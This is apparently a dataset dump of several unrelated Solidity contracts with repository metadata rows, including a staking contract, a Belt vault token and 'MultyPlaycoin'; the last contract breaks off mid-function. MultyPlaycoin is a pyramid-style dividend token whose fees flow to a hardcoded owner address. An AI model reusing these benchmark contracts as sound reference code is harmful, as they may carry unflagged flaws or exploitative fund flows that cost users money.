require(_transactionstatus[stakingId] != true,"Either tokens are already withdrawn or blocked by admin");
if(_totalDays[stakingId] == PERIOD_SILVER){
require(now >= _stakingStartTime[stakingId], "Unable to Withdraw Stake amount before staking start time, Please Try Again Later!!!");
_transactionstatus[stakingId] = true;
if(now >= _stakingEndTime[stakingId]){
_finalStakeWithdraw[stakingId] = _usersAmount[stakingId].add(getRewardDetailsByStakingId(stakingId));
_stakingAddress[stakingId].transfer(_usersAmount[stakingId]);
itoken.transfer(msg.sender, getRewardDetailsByStakingId(stakingId));
totalStakesInContract = totalStakesInContract.sub(_usersAmount[stakingId]);
} else {
_finalStakeWithdraw[stakingId] = _usersAmount[stakingId];
_stakingAddress[stakingId].transfer(_finalStakeWithdraw[stakingId]);
totalStakesInContract = totalStakesInContract.sub(_usersAmount[stakingId]);
}
} else if(_totalDays[stakingId] == PERIOD_GOLD){
require(now >= _stakingStartTime[stakingId], "Unable to Withdraw Stake amount before staking start time, Please Try Again Later!!!");
_transactionstatus[stakingId] = true;
if(now >= _stakingEndTime[stakingId]){
_finalStakeWithdraw[stakingId] = _usersAmount[stakingId].add(getRewardDetailsByStakingId(stakingId));
_stakingAddress[stakingId].transfer(_usersAmount[stakingId]);
itoken.transfer(msg.sender, getRewardDetailsByStakingId(stakingId));
totalStakesInContract = totalStakesInContract.sub(_usersAmount[stakingId]);
} else {
_finalStakeWithdraw[stakingId] = _usersAmount[stakingId];
_stakingAddress[stakingId].transfer(_finalStakeWithdraw[stakingId]);
totalStakesInContract = totalStakesInContract.sub(_usersAmount[stakingId]);
}
} else if(_totalDays[stakingId] == PERIOD_PLATINUM){
require(now >= _stakingStartTime[stakingId], "Unable to Withdraw Stake amount before staking start time, Please Try Again Later!!!");
_transactionstatus[stakingId] = true;
if(now >= _stakingEndTime[stakingId]){
_finalStakeWithdraw[stakingId] = _usersAmount[stakingId].add(getRewardDetailsByStakingId(stakingId));
_stakingAddress[stakingId].transfer(_usersAmount[stakingId]);
itoken.transfer(msg.sender, getRewardDetailsByStakingId(stakingId));
totalStakesInContract = totalStakesInContract.sub(_usersAmount[stakingId]);
} else {
_finalStakeWithdraw[stakingId] = _usersAmount[stakingId];
_stakingAddress[stakingId].transfer(_finalStakeWithdraw[stakingId]);
totalStakesInContract = totalStakesInContract.sub(_usersAmount[stakingId]);
}
} else {
return false;
}
return true;
}
// function to get Final Withdraw Staked value for native token
function getFinalStakeWithdraw(uint256 id) public view returns(uint256){
return _finalStakeWithdraw[id];
}
// function to get total native token stake in contract
function getTotalStakesInContract() public view returns(uint256){
return totalStakesInContract;
}
// function to get Staking address by id
function getStakingAddressById(uint256 id) external view returns (address){
require(id <= _stakingCount,"Unable to reterive data on specified id, Please try again!!");
return _stakingAddress[id];
}
// function to get Staking id by address
function getStakingIdByAddress(address add) external view returns(uint256[]){
require(add != address(0),"Invalid Address, Pleae Try Again!!!");
return _stakingId[add];
}
// function to get Staking Starting time by id
function getStakingStartTimeById(uint256 id) external view returns(uint256){
require(id <= _stakingCount,"Unable to reterive data on specified id, Please try again!!");
return _stakingStartTime[id];
}
// function to get Staking End time by id
function getStakingEndTimeById(uint256 id) external view returns(uint256){
require(id <= _stakingCount,"Unable to reterive data on specified id, Please try again!!");
return _stakingEndTime[id];
}
// function to get Staking Total Days by Id
function getStakingTotalDaysById(uint256 id) external view returns(uint256){
require(id <= _stakingCount,"Unable to reterive data on specified id, Please try again!!");
return _totalDays[id];
}
// function to get Staked Native token by id
function getStakedNativeTokenById(uint256 id) external view returns(uint256){
require(id <= _stakingCount,"Unable to reterive data on specified id, Please try again!!");
return _usersAmount[id];
}
// function to get Staked Native token by address
function getStakedByUser(address add) external view returns(uint256){
require(add != address(0),"Invalid Address, Please try again!!");
return _amountStakedByUser[add];
}
// function to get lockstatus by id
function getLockStatus(uint256 id) external view returns(bool){
require(id <= _stakingCount,"Unable to reterive data on specified id, Please try again!!");
return _transactionstatus[id];
}
}
| 73,995 | 11,177 |
9b37a72e24cd89f9f61f5729d7fdc96ad065f7fd86fb64607d2aaecfa032c45c
| 14,267 |
.sol
|
Solidity
| false |
339909880
|
BeltFi/belt-contract
|
ef9f4c221e8dbe29826c2ac852551f3825f722ab
|
contracts/bsc/earn/tokens/bUSDC.sol
| 3,748 | 14,188 |
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() override public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) override public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) override public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) override public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) override public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) override public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
abstract contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ReentrancyGuard {
uint256 private _guardCounter;
constructor () internal {
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface Venus {
function deposit(address _userAddress, uint256 _wantAmt) external returns (uint256);
function withdraw(address _userAddress, uint256 _wantAmt) external returns (uint256);
function sharesTotal() external view returns (uint);
function wantLockedTotal() external view returns (uint);
}
contract bUSDC is ERC20, ERC20Detailed, ReentrancyGuard, Ownable {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
uint256 public pool;
address public token;
address public venus;
enum Lender {
NONE,
VENUS
}
Lender public provider = Lender.NONE;
constructor (string memory name_, string memory symbol_, address _token, address _venus) public ERC20Detailed(name_, symbol_, 18) {
token = _token;
venus = _venus;
approveToken();
}
function deposit(uint256 _amount)
external
nonReentrant
{
require(_amount > 0, "deposit must be greater than 0");
pool = calcPoolValueInToken();
IERC20(token).safeTransferFrom(msg.sender, address(this), _amount);
uint256 shares = 0;
if (pool == 0) {
shares = _amount;
pool = _amount;
} else {
//0.1%(999/1000) enterance fee
shares = (_amount.mul(totalSupply())).div(pool).mul(999).div(1000);
}
pool = calcPoolValueInToken();
_mint(msg.sender, shares);
rebalance();
}
function withdraw(uint256 _shares)
external
nonReentrant
{
require(_shares > 0, "withdraw must be greater than 0");
uint256 ibalance = balanceOf(msg.sender);
require(_shares <= ibalance, "insufficient balance");
pool = calcPoolValueInToken();
uint256 r = (pool.mul(_shares)).div(totalSupply());
_burn(msg.sender, _shares);
uint256 b = IERC20(token).balanceOf(address(this));
if (b < r) {
_withdrawSome(r.sub(b));
}
IERC20(token).safeTransfer(msg.sender, r);
pool = calcPoolValueInToken();
}
function recommend() public view returns (Lender) {
return Lender.VENUS;
}
function approveToken() public {
IERC20(token).safeApprove(venus, uint(-1));
}
function balance() public view returns (uint256) {
return IERC20(token).balanceOf(address(this));
}
function balanceVenus() public view returns (uint256) {
return Venus(venus).wantLockedTotal();
}
function rebalance() public {
Lender newProvider = recommend();
if (newProvider != provider) {
_withdrawAll();
}
if (balance() > 0) {
if (newProvider == Lender.VENUS) {
_supplyVenus(balance());
}
}
provider = newProvider;
}
function _withdrawAll() internal {
uint256 amount = balanceVenus();
if (amount > 0) {
_withdrawVenus(amount.sub(1));
}
}
function _withdrawSome(uint256 _amount) internal returns (bool) {
uint256 amount = balanceVenus();
if (amount > 0) {
_withdrawVenus(_amount);
}
return true;
}
function _supplyVenus(uint amount) internal {
require(Venus(venus).deposit(msg.sender, amount) > 0, "VENUS: supply failed");
}
function _withdrawVenus(uint amount) internal {
require(Venus(venus).withdraw(msg.sender, amount) > 0, "VENUS: withdraw failed");
}
function calcPoolValueInToken() public view returns (uint) {
return balanceVenus()
.add(balance());
}
function getPricePerFullShare() public view returns (uint) {
uint _pool = calcPoolValueInToken();
return _pool.mul(1e18).div(totalSupply());
}
}
| 282,607 | 11,178 |
05be2fc4257938f1fb5b88e5dc709b3251a30c59675713a9877281d16d987cc2
| 12,949 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x2d7c5e4a1eff0178b4f3f473979239aabf9beae4.sol
| 3,462 | 12,370 |
pragma solidity ^0.4.25;
contract MultyPlaycoin {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "MultyPlaycoin";
string public symbol = "MPC";
address constant internal boss = 0x4dcE8B3eE0b6670DB3d4E5D4EdBA4127E4Ef9152;
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 10;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 4;
uint8 constant internal refferalFee_ = 33;
uint8 constant internal ownerFee1 = 10;
uint8 constant internal ownerFee2 = 25;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
return purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 forBoss = SafeMath.div(SafeMath.mul(_dividends, ownerFee2), 100);
_dividends = SafeMath.sub(_dividends, forBoss);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
referralBalance_[boss] = SafeMath.add(referralBalance_[boss], forBoss);
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return address(this).balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 forBoss = SafeMath.div(SafeMath.mul(_undividedDividends, ownerFee1), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
referralBalance_[boss] = SafeMath.add(referralBalance_[boss], _referralBonus);
}
referralBalance_[boss] = SafeMath.add(referralBalance_[boss], forBoss);
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((SafeMath.sub((sqrt
((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
| 162,061 | 11,179 |
d262a5675e0b658e709b92c28d69668afd9cc2d6575b4ba5475937873cc58a3b
| 16,220 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/b1/b1de3756568a3fed284029f82765ddbeb242ecdf_Distributor.sol
| 3,424 | 13,921 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function add32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
function div(uint256 x, uint256 y) internal pure returns(uint256 z){
require(y > 0);
z=x/y;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
